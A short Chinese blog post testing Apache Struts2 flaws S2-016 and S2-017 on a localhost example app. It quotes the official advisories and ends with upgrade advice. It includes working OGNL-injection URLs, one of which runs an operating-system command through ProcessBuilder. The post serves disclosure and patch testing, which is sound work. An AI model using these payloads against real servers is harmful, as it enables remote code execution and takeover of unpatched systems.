Struts2漏洞S2-016和S2-017

昨天出的struts2的漏洞，我只是瓢了一眼，今天有空正好试一下

下面是官网的两个漏洞的说明

http://struts.apache.org/release/2.3.x/docs/s2-016.html

problem:

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

http://struts.apache.org/release/2.3.x/docs/s2-017.html

problem:

The Struts 2 DefaultActionMapper used to support a method for short-circuit navigation state changes by prefixing parameters with "redirect:" or "redirectAction:", followed by a desired redirect target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "redirect:" or "redirectAction:" can easily be manipulated to redirect to an arbitrary location.

官网给出了poc

截图吧！

下面是我试的：

http://localhost:8080/example/index.action?redirect:%25{3*4}

看到3*4被执行了

http://localhost:8080/example/index.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc','goes','here'})).start()}

看到了撒....

要升级到struts2 2.3.15.1